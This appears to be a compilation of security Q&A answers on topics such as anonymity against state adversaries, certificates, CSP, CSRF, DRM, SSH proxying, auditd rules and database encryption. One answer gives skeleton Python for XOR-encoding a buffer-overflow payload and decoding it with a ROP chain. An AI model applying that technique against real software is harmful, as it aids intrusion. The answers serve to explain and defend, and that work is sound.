If your adversary is a nation state actor, and you need to ask this question on StackExchange, then you're doing it wrong. You cannot be "100% safe" from a determined, powerful adversary. While it's fallacious to say "if they want you, they'll get you", it is true that you cannot be 100% safe from any powerful adversary. They will always have 0days that you are not aware of, and will be tapping infrastructure you are not aware of.

  1 Which OS? Windows 10, Linux, Qubes, Whonix etc, or use Whonix inside of Qubes? which the most secure? If Linux which version? How the best to configure it?

That depends on your threat model. Qubes is great for mitigating hardware-type attacks (such as a compromised NIC), but it uses the quite vulnerable Xen and has other nasty configuration issues, such as running with NOPASSWD sudo (which allows anyone to get root without a password). Whonix is good for a very specific threat model (IP disclosure), but when run in a VM rather than on physical hardware, you negate much of the benefit. The Russian government absolutely has VM escape 0days.

  2 Then need to install virtual machine on it? which one?

Different VMs have different strengths and weaknesses. They can all be compromised with enough resources. QEMU for example runs in userspace, which allows it to be sandboxed via a command line option. The virtualization is done in the kernel by KVM, which is pretty secure. However QEMU is also buggy (as are all VMs), so unless it is being sandboxed and is using a chroot, it can be an issue.

  3 Then which third party programs I need on it?

Not sure what you mean. It depends on your threat model. Use whatever well-regarded programs give you the features you require. Tails has many programs which are sandboxed for security, and which provide you with a decent amount of productivity software (audio editors, text editors, spreadsheet programs, collaboration programs, etc).

You do not want to use things like VPNs. Even if you trust the VPN provider, the technology was not designed for anonymity. In fact, the "private" in VPN is referring to IANA-reserved private addresses, not the right to privacy. They are designed to allow connecting two virtual network interfaces together, especially to get on a corporate network. They have been abused by companies that want your money by advertising the fact that their name has "private" in it, and that they do hide your IP against any naive adversary.

  4 What browser to use? If TOR - What’s the best Configuration for TOR browser? As I know just using TOR browser is not enough they still can find you. and Use China server?

It's Tor, not TOR. And the best configuration is simply setting the security slider to high. This will disable JavaScript and certain other risky features. In contrast with what the other answer says, Tor was neither created by the government nor given away by them. The concept of onion routing was created by the Navy. Tor itself was created by Roger Dingledine. The computer mouse was created by DARPA, but that does not mean that your little Lenovo mouse is from the government!

While Tor itself is quite effective (so don't change its configuration!), Tor Browser is based on Firefox, which is not a perfect browser. However, it is the only browser that provides fingerprinting defense. There are 0days that governments and government contractors have that can compromise the browser, and if the browser is compromised, it can bypass Tor by connecting directly to a government-controlled server. There is no way to avoid this with complete certainty.

  5 Need Antivirus? Antispyware? Which one?

This is actually harmful. AV is fine for low-level threats that are already known in the wild, but advanced malware can take advantage of an AV, compromising it to elevate privileges. AV software runs with high privileges, parsing any attacker-controlled data you throw at it. This is a recipe for disaster.

  I guess that’'s should be enough?

Nope. If you're not using a hardened kernel with heavy monitoring and extensive syscall filters, you aren't even close to good enough. Protecting against a nation state adversary who is determined to attack you and is willing to spend plenty of resources on you requires expertise, many years of expertise. It would take me months and hundreds of pages worth of answers to even provide you with the basics. This is why threat modeling is so important. It allows you to determine who your adversary is, what their capabilities are, what their resources are, and what assets they are after. This makes it easier to protect yourself.

  Thanks a lot for saving my ass.

Honestly, the Russian government will not be spending a lot of money to get you. You can raise the bar a good bit by using things like Whonix (on real hardware), Tails, or Qubes, but none of that is perfect.

You need to define a threat model. To expand a bit on your implied threat model regarding "posting some documents on the internet", that makes it a lot easier. For example, you won't have to worry too much about exploits, unless you tell everywhere where you are posting the documents to or stay a long time, giving the chance to attack you. When posting documents, the threat model involves avoiding retroactive tracking, with the assets not being your computer resources or anything like that, but simply your identity. Your adversary will only be able to target you after you post documents, not before, so you do not need to worry about them lying in wait with a 0day exploit to use against you. Using Tails is perfect for this, as it not only is amnesic and such resists forensic attacks, but it is designed to be fool-proof for anonymity, making it extremely difficult to shoot yourself in the foot. Keep those documents on an encrypted flash drive, use Tails to upload them (e.g. to Wikileaks), then get rid of the flash drive and move on with your life.


A certification authority is supposed to verify the identity of whoever request a certificate before issuing (signing) that certificate; a certificate containing the name www.example.com shall be awarded only to an entity who indeed "owns" the domain example.com. An Extended Validation Certificate is a certificate where the CA made that identity verification more thoroughly.

Theoretically, this extra validation makes it harder for attackers to obtain fake certificates for domains that they do not own. In practice this does not really increase security for two reasons:

This extra validation will block attackers only if end users enforce it. Namely, you could buy an EV certificate for your server, but the attacker, supposedly, will only be able to bamboozle the CA into issuing a fake non-EV certificate. So what ? The attacker will run his fake Web site with the fake non-EV certificate. Nothing has changed, unless the end user (the poor guy who is about to see his bank account siphoned out) makes sure that he connects only to an EV-certified bank site, and refuses to type his password if his browser does not show the extra-green thingy. Real users don't do that. At best, most users will abstain if they get an explicit, red, scary warning; but expecting users to react on the simple lack of a green rectangle is too optimistic.
Phishing, as it is done today, does not use fake certificates. Obtaining a fake certificate is too much trouble. 99% of the phishing is about showing a non-SSL site (http://, not https://) to the victim, and hoping that the victim won't notice. It works well. After all, if the phisher can plunder the bank accounts of only, say, the 10% most gullible victims, then... the phisher still gets rich.

Peter Gutmann calls EV certificates an illustration of the PKI-me-harder effect; the main consequence is that commercial CA can charge more for certificates, in the name of better solving a problem that we did not have before.

The end user is the important element here. You will need an EV certificate when (if) end users begin to require the greenish graphical element, and go spend their money elsewhere if they don't see it (and, at that point, it would become non-ridiculous to claim that EV certificates actually increase security). I don't see such things happening any time soon. Unless browser vendors collude with the big commercial CA to make non-EV certificate appear red and scary.


How could a publicly available stream cipher (RC4) be kept secret so long?

Couldn't someone just reverse-engineer the code and get the source?

Yes. That's exactly what happened in 1994:

From the Wikipedia entry:

  RC4 was initially a trade secret, but in September 1994 a description
  of it was anonymously posted to the Cypherpunks mailing list. It
  was soon posted on the sci.crypt newsgroup, and from there to many
  sites on the Internet. The leaked code was confirmed to be genuine as
  its output was found to match that of proprietary software using
  licensed RC4. Because the algorithm is known, it is no longer a trade
  secret. The name RC4 is trademarked, so RC4 is often referred to as
  ARCFOUR or ARC4 (meaning alleged RC4) to avoid trademark problems.
  RSA Security has never officially released the algorithm; Rivest has,
  however, linked to the English Wikipedia article on RC4 in his own
  course notes in 2008 and confirmed the history of RC4 and its code
  in a 2014 paper by him.

You can, with varying degrees of success, make it more difficult by, for example, obfuscating the code, encrypting the code, storing the code in an HSM that self-destructs when tampered with, requiring restrictive contracts, threatening legal actions, etc... But in the end, there is no security without physical security. Once you let the code out of your physical control, it is potentially exposed.

As to why nobody did it before, I suspect that it was lack of interest and legal concerns.


I had the same thing happen. Yes this is an attempt to infect your system with malware. It may have been delivered via text message, skype message, or infected website. What you need to do is go into your Chrome app data cache and clear all data from Chrome app. This resolved the issue for me. I am guessing this is some sort of javascript that gets cached in Chrome data storage.


Trying to understand Content-Security-Policy: Why do some sites (e.g Google) use a "nonce", but also allow all inline scripts and use of eval()?

"A whitelist for specific inline scripts using a cryptographic nonce
  (number used once). The server must generate a unique nonce value each
  time it transmits a policy. It is critical to provide an unguessable
  nonce, as bypassing a resource’s policy is otherwise trivial. See
  unsafe inline script for an example. Specifying nonce makes a modern
  browser ignore 'unsafe-inline' which could still be set for older
  browsers without nonce support."

The biggest advantage CSP brings is preventing inline JavaScript.  With this directive, they are overriding this protection for older browsers and it probably means that they couldn't completely re-write the client side of this application so it no longer depends on inline JavaScript.   Instead, they are relying on the site (hopefully) being coded to prevent cross-site scripting.  Using script-src Nonce allows modern browsers to allow inline scripts tagged with the matching nonce and disallow all others.

The page needs certain inline scripts to work.  Older browsers don't know about Nonces so to ensure the page still works in older browsers, 'unsafe-inline' is there.  Older browsers will allow all unsafe inline.  Modern browsers will only allow the nonced scripts.

This Stack Overflow answer is good one about nonces.

StackOverflow had a similar discussion.


Assuming that the password is randomly generated and not easily guessed, as you say the main way in which an attacker would compromise this system is to perform a MITM attack.

However any e-mail address based password reset system is vulnerable to the same kind of issue (e.g. one-time links) if the attacker can intercept traffic between the user and their e-mail account.

Whilst it's definitely not perfectly secure or something I would rely on for a high-risk application (like online banking) I don't see one-time passwords as a particularly poor system either.

the main recommendation would be to ensure that you access your e-mail account only over encrypted channels (e.g. SSL or IMAP(S))


Yes, as deviantfan has explained, if you do it that way, Bob can see your traffic.

A more secure way to achieve your goal is to use the proxy features built into SSH. The simplest way, if you have OpenSSH 7.3 or later:

ssh -J usera@Bob usera@C

For older OpenSSH versions versions, if you have at least OpenSSH 5.4 you can instead add the following to your ~/.ssh/config:

Host C
ProxyCommand ssh -W %h:%p usera@Bob

With even older OpenSSH versions, you'll need to use netcat instead (assuming Bob has it installed):

Host C
ProxyCommand ssh usera@Bob nc %h %p

Now when you connect to C, ssh will first connect to Bob and start up a proxy (either its built-in one or Bob's netcat). The connection from your local machine to C is then forwarded through this proxy. The connection is end-to-end encrypted with your local ssh client at one end and the remote server C at the other. The session key is negotiated between you and C; Bob never sees it.

Of course, Bob as your proxy can still impersonate C; but as long as you've previously verified C's host key fingerprint, you can easily detect this in the usual way.


Why is the synchronizer token pattern preferred over the origin header check to prevent CSRF

Simply put

The Origin header is not sent for same-origin requests by all browsers.
Current bugs in popular browsers mean that the Origin header is not sent for POST requests, which makes this approach less-than-useless since state changing requests should always use POST above GET.

This would make for complex logic when implementing CSRF protection.

That is:

Lack of Origin header = Old browser/bug OR
Lack of Origin header = Same Origin
Origin header matches domain = Same Origin
Origin header does not match = CSRF attack

As you can see, it is not possible to distinguish between old or buggy browsers possibly making CSRF attacks and legitimate current browser requests. You could add browser detection, but then the logic gets more messy. Complexity tends to reduce security.

This of course, could be patched in a browser update. However, then your application would be incompatible with older versions of the browser.

Much simpler would be to generate a token and send that with each request outside of the cookie mechanism.


Are there DRM techniques to effectively prevent pirating?

Firstly, I think the skeptics answer pretty much covers it: DRM annoys people. Some of us actively avoid purchasing anything with it.

In terms of software, this is pretty much impossible. One DRM scheme might be to use public key encryption with content encrypted with symmetric keys (performance of symmetric ciphers being vastly superior to most pk ones). You encrypt the content key with the private key and the software can then decrypt that key with the public key, and decrypt the content.

Which works, except that I'm just going to step your program through a debugger or disassemble your code until I find your key, decrypt your content and the game's up. Crypto is for transmission over insecure networks, not for decrypting securely and in isolation on hostile systems.

So, you could send lots of different keys over the internet for different parts of the content. Well, your paying customers are likely to experience problems with this, but, I can just automate the debugging process, or hook your receive events, or whatever. Either way, I can grab those keys. It isn't easy, but it can be done.

So the next stage is to prevent me using my debugger or hooking your system calls in some way, which is where you start writing rootkits. As it happens, I can take the disk offline and examine/disable your rootkit, or modify it so your software believes it is secure. In fact, this will make it easier for me to identify what you're protecting.

There is another case, one where the OS is complicit and provides some form of secure container. If it is possible for me to load code into ring 0, this security becomes irrelevant. If not, if I can clone your microkernel core and modify it to allow me to load code into ring 0, this security becomes irrelevant again.

At this point you have to start using hardware controls. Simply put, since I can modify the operating system any way I please, you probably need hardware-implemented DRM that I have no chance of modifying or reading. You'd need your crypto to happen on-hardware such that it is impossible to read the decrypted data from the operating system. You'd need the public key I mentioned above to reside on that hardware, not on the OS.

At this point, you've probably defeated me personally, but I am sure there are people capable of modifying their HDMI cables (or whatever) to split the data out onto the display and to another device such as storage.

Also, how you store your keys securely on your device is going to be an issue. You'd need to encrypt them! Otherwise, I'm just going to attach your storage device to an offline system. And store the keys... wait... see the pattern?

Once you have physical access, the game is up.

I don't think DRM is technically possible. Whatever methods you employ, there will always be someone with sufficient skill to undo it, since at some level that protected content must be decrypted for their viewing. Whether they have the motivation to is another matter.

From a software engineering perspective, getting it right, whilst not disrupting your users, allowing them to easily move their content to authorised devices, supporting new devices... all nightmares. Who's going to buy your content, when you haven't got Windows 8 support ready for launch? Does your content work on my Windows XP box too? What do you mean you don't support it?! If you use hardware, you have a deployment issue.

Finally, DRM is just deeply unpopular.


Debian 8 and few questions about Graphical Firewall?

For the set of firewall rules that you have created, you can create tests for each of those rules. I accomplish this in organizational settings by using tools such as hping or scapy.

If you are familiar with the concept of unit tests, it works the same way. I run a listener on the protected host and send packets to it that have been crafted to test each rule in the rule set. In this way, you can test the effect of changes that you make, and ensure that your expectations are met at any point in time.


What are the risks of running Team Fundation Server on HTTP?

It depends on how secure your LAN is. If you have full protections against man-in-the-middle attacks (e.g. protection against ARP, DNS or DHCP spoofing), against passive network-wide sniffing (mirror port switch) and also sniffing on local machine then it might be sufficient, i.e. at least not less secure then with HTTPS. If not impersonation might be possible.


A dedicated browser (profile) for online banking

Your setup seems to take precautions against the banking site itself (NoScript, no cookies, etc), the issue is that site would be relatively safe (and if not, it's the bank's problem, not yours).

On the other hand, malware caught by browsing in your other, non-banking browser would still be free to spy on you and observe anything you do in the banking browser once it owns your entire user account.

If you do want to protect your online banking I suggest you do so on an isolated computer where you do nothing but banking (no way to catch malware through other sites, etc). If you do not have a second computer you can do all your non-sensitive activities in a VM, which if compromised should provide good enough isolation to prevent compromise of the host where you do sensitive activities. Note that doing the opposite (non-sensitive stuff on the host, sensitive stuff in a VM) will do nothing because the host has full access to the VMs by design, so once the host is owned, so are the VMs.


The purpose of SAN is to specify all host names for which a certificate can be used. This also includes any subdomains a certificate should be valid for, i.e. a certificate for example.com will not be automatically valid for foo.example.com but this subdomain must be explicitly specified as valid. Entries can also be wildcards. A proper implementation will no longer look at the common name at all if DNS names are given in the SAN section.


Can access tokens be given to a third party app's end users for a secure read/write process flow?

I am unsure whether the end-user posts the form directly to XYZ, or if it goes through ABC to XYZ. Assuming the former, I've thought of a method which borrows some ideas from the OpenID Connect protocol.

Suppose ABC provides the end-user with a JWT upon authenticating, which will contain the following claims:

"iss": "ABC"    # ABC issued this JWT
"sub": "user_j" # The end-user's unique ID
"aud": "XYZ"    # The intended audience of this JWT
"exp": "..."    # The expiry time
"iat": "..."    # The time the JWT was issued
"scope": "form.read form.write" # Permissions

When the end-user requests the form from XYZ it sends the JWT. The JWT contains a signature signed by ABC, which will allows XYZ to verify it's authenticity. XYZ can also check the expiry time and the list of permissions. The same JWT can be used when submitting the form.

The advantages of this method are that it reduces one round-trip by not having to specially request tokens from XYZ, and that you don't need separate access tokens for each permission, which is important if you want to introduce more permissions in future.


Why is GRE tunneling is needed when having a BGP based solution against DDoS?

This is done to prevent routing loops. BGP isused to reroute traffic towards the target IP range via the scrubbing center, but then the scrubbing center cannot use the public routing to reach the final destination, since those routes would point to itself.

By creating a GRE tunnel you can make sure there's a direct (tunneled) path without needing to rely on public routing and various networks between the attacked network and the scrubbing center. BGP can be used via that GRE tunnel to make sure the scrubbing center knows where to deliver the scrubbed traffic.

Instead of a GRE tunnel, a direct physical link or layer 2 path could be used as well, but often that's more expensive than using a GRE tunnel.

So to answer your final question, no, it has nothing to do with interception. GRE does not provide any security for that either, since GRE traffic is only encapsulated, not encrypted.


buffer overflow in MIPS - jump to address 0x0040xxxx

This is a classic badchars problem. So your goal is to make your final
exploit to NOT contain any of the bad characters. Encoding can help you achieve that.
A possible obvious solution to exploit this, is combining
ROP + encoding. For example you can create an encode() function, that uses e.g. XOR,
like the one below:

def encode(s, key):
    return ''.join(chr(ord(i)^key) for i in s)

and then search for possible gadgets that help you create the
decoding function (e.g. search for xor gadgets):

def decode(address, key):
    """
    create a ROP-chain here
    that XORs the XORed string
    """
    # create the ROP chain...
    return chain

and then in the main body of your exploit
use something like this:

# ...skip...
# write_into_mem() is a just function that allows you to write into memory...
# write string (encoded/xored) into memory so you can avoid bad characters...
payload += write_into_mem(address,   encode('string_with_bad_chars', key))
for i in range(len('string_with_bad_chars')):
    payload += decode((address + i), key)

In this way you will avoid bad characters.

Note: The above code-snippets are in python. Use whatever language you prefer!!!


It is not unexpected for enterprise networks to run web security proxies that inspect encrypted traffic when given a reason to suspect something problematic.  This allows them to detect encrypted malware and prevent it from infecting you. (It also allows them to restrict other content, such as porn or some other policy enforcement that is not related to security.)

I haven't heard of this for consumer-grade networks though. This is very disappointing and I suggest either finding another provider or at least using a VPN to tunnel your traffic through another location that does not inspect your encrypted data in this manner.

If you don't get the error any more (as noted in the comments above), contact technical support and ask about it. Perhaps something (e.g. DNS) was merely misconfigured, or perhaps the threshold for a "reason to suspect" your traffic was too aggressive. If they're wise, they should apologize profusely and try to win back your trust.


What are the vulnerablities for revealing IP addresses in code

I think the vulnerabilities are the same for all Internet-accessible servers, the only increase in risk is that the code exposes some specific information about how to interface with it, and because it is "in code" the programmer might not think to protect it as well as they otherwise might for a server that is explicitly advertised.


Best practice for forgot password form, ok to leak that a given e-mail is invalid

I would not say that it is a bad experience to ask the user to check their email account - that would be the location where they will be expecting to go to next, regardless. If they are not signed up you could send them an email saying that their email address is not associated to any account. This would stop any other user from verifying whether the email address is registered with you or not (username enumeration).

Please also see my answer here: How to prevent email discovery in forms?, which could be relevant.


For FDA certification hipaa is mandatory?

I think the FDA will require HIPAA compliance for any device that uses PHI -- but, as has been noted in the comments to your question, the FDA will be the sole authority on its own requirements. This question-and-answer site is designed to provide helpful guidance -- but what you need is a legal opinion.

That said, even if you find that HIPAA compliance is not mandatory for the device you are working on, your only wise choice is to build on a foundation of HIPAA compliance anyway. This is especially important since you're already working with PHI. (And it would still be important even if you weren't, to allow for growth of your product.)


Can we prevent a man-in-the-middle attack with symmetric-key cryptography?

Is your issue that Bob leaked the data to Charlie? There isn't anything you can really do about this. If Bob can read the data, he can always share it with someone else. If symmetric key cryptography was used, Bob could just send the key itself to Charlie as well as the encrypted message. Better yet, he can still just the decrypted message. There is no way to prevent Bob from doing things if he's the intended recipient of the data.


how to prevent scripts being injected on my website

how he did it to inject scripts and run as root?

This is not known based on the few details you have provided. It might through brute-forcing SSH logins. It might also through combining several problems. A simple upload is not enough because the attacker must also find ways to execute the code and must also have found a security issue which allows to gain root access for a normal user (there are various exploits for this on unpatched Linux systems).

  how to prevent it? ...how to log it so in the future I know I am being attacked? (instead of my service provider telling me)

Use a fully patched system, find and fix security problems in your application, use strong passwords for remote login (or better keys) ... There are lots of similar questions about this topic already.

Based on the current knowledge you have I you look instead for a managed system to keep the system secure and look for expertise in web application security to make the application secure. There is way to much to look out for and cannot be shown in detail just in a single answer (too broad).

  is it safe to say the cause is coming from upload functionality?

Not without doing a proper forensic analysis of the system.

See also I was hacked, but I don't know why.


Can ISPs see which website we visit when we use desktop VPN client and browser VPN extension?

Depends on where your DNS requests are being sent. However, if all your network traffic is going via an encrypted VPN then no, the ISP will not see - the VPN's ISP will of course.


Incoming TOR traffic is easy to recognize because all TOR exit nodes are publicly known. That means you could search by IP of exit nodes. But this traffic is actually not really considered as TOR traffic because it already left the TOR network. It's just traffic that comes from TOR. It might not even be encrypted.

Outgoing TOR traffic is much harder, if not impossible to recognize because not all entry nodes are publicly known. You could search by IP of some entry nodes of which you know the IP, but that would not cover all TOR traffic.
I think China is the best example for recognizing/filtering outgoing TOR traffic. As far as I know, they are the only country that successfully (or at least partly successfully) blocks TOR by using protocol analysis. Because of that, TOR created special algorithms for obfuscating TOR traffic in order to get it through China's great firewall. But it's a cat and mouse game. The obfuscated traffic is also recognized and blocked after some time, and then new obfuscation algorithms are developed. That's why it's so hard to block outgoing TOR traffic.

I do not know much detail about how China's traffic analysis works. Perhaps, no one here knows for sure, but maybe someone could give a guess, although it's probably not a simple procedure.


auditd rules for both 64-bit (b64) and 32-bit (b32) architectures

I have the same issue on my RedHat machine.
First, you add the 32-bit calls because your software may be using 32-bit calls. There are 32-bit libraries that run under 64-bit architecture. It's difficult to guarantee that your are not using 32-bit calls.
Secondarily, you do it to make the scanner, and the folks reviewing the scan results, happy. Consider how many lines need to be in your audit log, per the scap. You will have 1 finding for every entry missing the arch=b32. Now multiply that by the number of machines on your network. That is a lot of findings.
On my machine, I have 80 findings. I have over 10,000 nodes. That means, my system scans will show a MINIMUM of 800,000 Findings.
I am correcting the ones that I can "make go away," and writing a "Findings Report" to send to the scanner people to fix the scans.
In my scenario, my scanner is being stupid. Your entry:
-a always,exit -F arch=ARCH -S rmdir,unlink,unlinkat,rename,renameat -F auid>=1000 -F auid!=unset -F key=delete
Make sense. My Scanner looks for this:
-a always,exit -F arch=B32 -S rmdir -F auid>=1000 -F auid!=unset -F key=delete
-a always,exit -F arch=B64 -S rmdir -F auid>=1000 -F auid!=unset -F key=delete
-a always,exit -F arch=B32 -S unlink -F auid>=1000 -F auid!=unset -F key=delete
-a always,exit -F arch=B64 -S unlink -F auid>=1000 -F auid!=unset -F key=delete
-a always,exit -F arch=B32 -S unlinkat -F auid>=1000 -F auid!=unset -F key=delete
-a always,exit -F arch=B64 -S unlinkat -F auid>=1000 -F auid!=unset -F key=delete
-a always,exit -F arch=B32 -S rename -F auid>=1000 -F auid!=unset -F key=delete
-a always,exit -F arch=B64 -S rename -F auid>=1000 -F auid!=unset -F key=delete
-a always,exit -F arch=B32 -S renameat -F auid>=1000 -F auid!=unset -F key=delete
-a always,exit -F arch=B64 -S renameat -F auid>=1000 -F auid!=unset -F key=delete
That's TEN entries for what should be TWO lines. I have to write up every single one and say that best practice is to but all the calls on 1 line per architecture.
I need to have the 32 & 64 bit architectures in my audit because we ARE using 32-bit libraries in a 64-bit OS.
I am not going to break them out onto 5 separate lines. Our audit logging is already choking our system. Removing anything I can, or combining lines is what I am working on now.

Unless the scanner gets fixed, we are going to have lots of exceptions.

Ok, now back from that secant. Unless you can PROVE that you have ABSOLUTELY NO 32-bit system calls, you need to double the entries and add both architectures to the audit log.


Exposure factor is a percentage: the percentage of the value that would be lost if a loss occurs. If the asset is completely lost, then the EF = 1.0

Let's redo your formula with a total loss:

SLE = AV * EF
SLE = $100 * 1.0
SLE = $100

But in your book, you are expected to lose 92%, so:

SLE = AV * EF
SLE = $100 * 0.92
SLE = $92

You can see that the more you "lose" in the event, the higher the exposure factor is, and the higher the SLE becomes.

The calculations are as you expect. I'd check your book's errata ....


Would encrypting a database protect against a compromised admin account?

Yes, such a system exists; it's called Application-Level Encryption.  Under that system the encryption keys (or at least the Key-Encrypting Key, or KEK) are only available to the application.  Data is encrypted by the application before being stored in the database, and encrypted blobs are retrieved from the database to be decrypted by the application.

The advantage of this is a sort of dual control - the DBAs, who can perform bulk actions against the entire database without much limitation - can only extract encrypted data.  The application administrators, who hold the KEK, can decrypt anything in the database, but are limited to approved interfaces which may work piecemeal but not in bulk.  It makes abuse of the decrypted data harder to perform and easier to detect.

There are disadvantages as well, primarily the inability to index or search upon plaintext characteristics of the encrypted data in the database.  Also, it requires the application and database be written to support it; unlike whole-disk or whole-database encryption it's not as easy as flipping a switch.


Why does this key get Base64 encoded prior to use?

Short answer: because it isn't actually a key, it's a password, and passwords have to be made up of printable characters.

In this line, which encrypts the file:

openssl enc -aes-256-cbc -salt -in SECRET_FILE -out SECRET_FILE.enc -pass file:./key.bin

the -pass file:filename option to the openssl enc command is used for passing in a password or passphrase, not for passing in the actual 256-bit AES key that the file will be encrypted with. The key itself is derived from the password by OpenSSL using a key derivation algorithm.

In the example you posted, key.bin very much looks like it could be a binary encryption key, but it's actually just a very misleadingly named file.

The reason for generating a encryption password like they are doing is that if the password does not have to be remembered by a user or typed in (in this case it's being stored in a file encrypted using an RSA public key), you may as well generate a random one with the same number of bits of entropy as the key that will be derived from it (any more is a waste of time), to make it as strong as possible.


Decrypting files that were encrypted with EFS?

You would import the keys to the right key store via MMC snap in and then mount the file system and decrypt. As described here. An external program may also do this for you as described here for FTK.


Strategies for signing sections of a text file to prevent tampering

I don't think I understand I understand the problem.  To help you think and explain more clearly about what you are trying to achieve, I suggest you decide: What are the legitimate actions that you want to allow?  Also, what are some examples of illegitimate actions that you don't want to allow?  Who do you want to be able to modify the non-locked sections of the file?  What are you trying to protect against?

My first suggestion would be: break the file up into multiple files, and make some modifiable and some not.

However I don't really understand what your goal is.  Anyone can make a local copy of the file and modify any part of it they want.  Nothing you do can prevent that.  I don't see how signatures help, because anyone can just ignore the fact that the signatures are invalid and continue to use the file (if necessary, they can modify the code that checks the signatures to ignore the invalid signature).  So it sounds on first impression like you may be trying to solve an unsolvable problem -- something akin to making water not wet.

If you are talking about preventing modification to the version of the file stored in git, why are you giving people you don't trust write access to your git repository?  Seems like you should just avoid doing that.

Edit 9/29: In your comments, you clarified the problem setting.  Now I can give a better answer:

Split the file up into two parts or two files, one intended to be changed and one not intended to be changed.  Label each part clearly, and indicate which part/file should be changed and which should not.

And, realize that no technical measure can force them to include the parts-you-want-not-to-change without changing them. This is not something you can solve through technical means. Instead, your goal should be to elucidate your intentions about which parts they aren't supposed to be changed. Then, you will have to rely upon social means to keep people from doing what you don't want them to do (i.e., you will be relying upon other people's good will, or upon the threat of negative consequences if they deviate from your recommendations).


Is uninitialized memory considered sensitive?

From an application development standpoint, you should never presume that memory will be zeroed unless the allocator API you are using explicitly guarantees it. Making that assumption without a guarantee may lead to memory corruption and undefined behaviour. This may have security consequences, but more importantly it's likely to cause subtle and hard-to-reproduce bugs.
Your memory allocation API should always clearly define the initialisation status of the memory it is allocating for you. For example, malloc does not guarantee that memory will be zeroed, but calloc does. You can design your code with this in mind.
It is also important to distinguish between the behaviour of a heap allocator that is implemented as part of your application and a the operating system's memory allocator.
On any mainstream operating system, the memory manager will ensure that pages are scrubbed (i.e. cleared of previous data) when allocating them across a security boundary. This means that if a memory page was allocated to one process, filled with sensitive information, then freed and re-allocated to a different process, the memory manager must scrub the page. If the page is freed and re-allocated to the same process, it does not have to scrub the page, because the page is not transitioning across a security boundary.
A scrubbed page does not have to contain zeroes. It may contain some other constant value instead. Some memory manager systems scrub pages to some hexspeak value so that it is easy to tell when memory has not been explicitly zeroed. Refer to your OS's API documentation for details.
The same restriction exists for VMs. If the VM host is remapping a page into a guest VM's memory space, it must scrub that page first. Not only that, but the CPU cache must also be flushed when performing a context switch back into the execution context of the VM. This reduces the possibility for cache-sniffing attacks that leak host memory into a VM.
A heap allocator library (e.g. stdlib malloc, jemalloc, tcmalloc, ptmalloc) implements heap management inside an application, abstracting away the specifics of the platform's memory management APIs. Since the memory pages being allocated by these allocators are inherently kept within the process boundary, there is no situation in which a dirty memory page can cross a security boundary into another process and be re-allocated there without scrubbing.
In some threat models you may be concerned about sensitive data remaining in memory beyond the lifetime of the allocation or the process. While another process cannot directly access that sensitive data, since the OS memory manager will scrub it before reallocation across a security boundary, there are threats such as forensic memory acquisition or DMA attacks that bypass the allocation scrubbing policy by accessing physical memory pages directly. In such cases you would want to scrub the pages manually before freeing them.
One critically important detail here is that simply looping over the memory and setting it to zero (e.g. with memset) prior to freeing the memory is not guaranteed to be effective. The compiler may detect that the memory is not accessed after being written and eliminate the zeroing operation as an optimisation.
Available solutions for this scrub elimination problem are specific to the language, toolchain, and platform:

-fno-builtin-memset in GCC to turn off memset elimination
memset_s as a non-standard approach in C11
SecureZeroMemory on Windows (although that may be deprecated?)
Casting the target memory as volatile in your zeroing loop in C/C++ - this tells the compiler to assume that something outside its view might be modifying the memory, preventing the elimination optimisation.
SecureString in .NET applications (memory remanence is a complicated topic here due to string immutability and GC, and you have to be very careful with your usage even with SecureString)
GuardedString in Java applications (similar practical problems to .NET)
secstr or similar in Rust
sodium_memzero from libsodium, ideally alongside their other secure memory APIs.


Why doesn't nmap return open port info when I fragment packets?

Found this in the nmap documentation at: https://nmap.org/book/man-port-scanning-basics.html

  IP fragmentation is a complex system and implementations are riddled
  with bugs and inconsistencies. Possible tests could examine how
  overlapping fragments are assembled or time the defragmentation
  timeouts. These tests are avoided for Nmap because many firewalls and
  other inline devices defragment traffic at gateways. Thus Nmap may end
  up fingerprinting the firewall rather than the true destination host.
  In addition, fragments are difficult to send on some operating
  systems. Linux 2.6 kernels have a tendency to queue the fragments you
  are trying to send and assemble them itself before transmission.

So it seems that the process of fragmentation may be causing problems with the lookup. I would still appreciate any answers that explain this in more depth, though, if that is within the scope of the site.


Employee privacy when using company iPhone on own Wi-Fi

If the device is enrolled on your company's network (using a device enrollment / Mobile Device Management process), they could have a lot of visibility.  iOS allows for a "always-on VPN" (link).  This allows for either certain or all applications to use a particular VPN connection; which could be your place of employment.  With the implementation of enforced / transparent proxies and custom CA's, he/she can also intercept SSL data easily and see what you do on the network.

So in essence, your employer could see a lot of traffic going back and forward to your device, manage your apps, remove all/some of your content, etc.


Would it be sufficient to perform ASLR by randomizing only the base address of the executable?

No.  Many attacks rely on the address of a library routine, and don't care where the executable is loaded.  Pretty much any fixed address can be exploited.


encrypted information that is not accessible to database administrators

If you want the data to be absolutely inaccessible by administrators, then unencrypted data can never hit the servers they control. Additionally, the decryption key can't be on the server either, since if it was, a malicious administrator could grab both the encrypted data and the key, and decrypt it.

So, what options do you have?

Client side encryption. If the end user encrypts data using a key which is never sent to the server, and the encrypted data is sent to your server, there is no way for the administrator to decrypt it, but the user can download and decrypt, as long as they have the key. It would be better to encrypt with a key derived from a password than from the password itself, just from a key length perspective - this is nothing uncommon though.

The problem you have with this, if you're worried about administrators trying to access data, is that they can presumably modify the encryption code sent to the client, if you're using JS - they've got access to the server. It wouldn't be particularly hard to encrypt the data twice, once with the user key and once with a key known to the admins. You can prevent tampering in transit (that's why you've got SSL enabled), but the admin that can edit the site contents can probably edit any checksums used to preserve the integrity of the client side code too.
Require that the user encrypts before sending. If the end user uses a third party encryption application, your admins can't do anything about it, other than brute force, which should be difficult. However, it does reduce your service to a file store, which might not be acceptable.
Spread the risk. Have a server which serves the encryption routines to the client, which is managed by company A. Have a server which receives encrypted data and stores it, which is managed by company B. Have the rest of the web application on a server managed by company C. End user receives encryption code from server A, which is presumably unmodified, since the admins of that server never see the encrypted data, and can't modify the code without breaking checksums which are served from server C. Their computer encrypts with the client side key (which is never sent anywhere), and sends the data to server B.

The admins from A can't tamper with the encryption, or where the data is sent unless they collaborate with the admins from C. The admins from C can modify where the data is sent, or send incorrect encryption routines, but B can report if they're not getting any data. The admins from B would have to get either admins from C to pass them the key, or the admins from A to modify encryption routines to gain access.

Now, this seems like a very complicated scenario, but that just shows how much power the server admins have - by definition, they've got access to read and modify pretty much anything.

You basically get into a trade off between ease of maintenance and security - option 1 is easy to maintain, since you have full control of the server from a single point. Option 3 is difficult, since you have to co-ordinate any changes between multiple administrators, but makes it really difficult for any individual one to get hold of the data. Whether it's worth that effort depends on the data being stored.


Java is running even after it is disabled

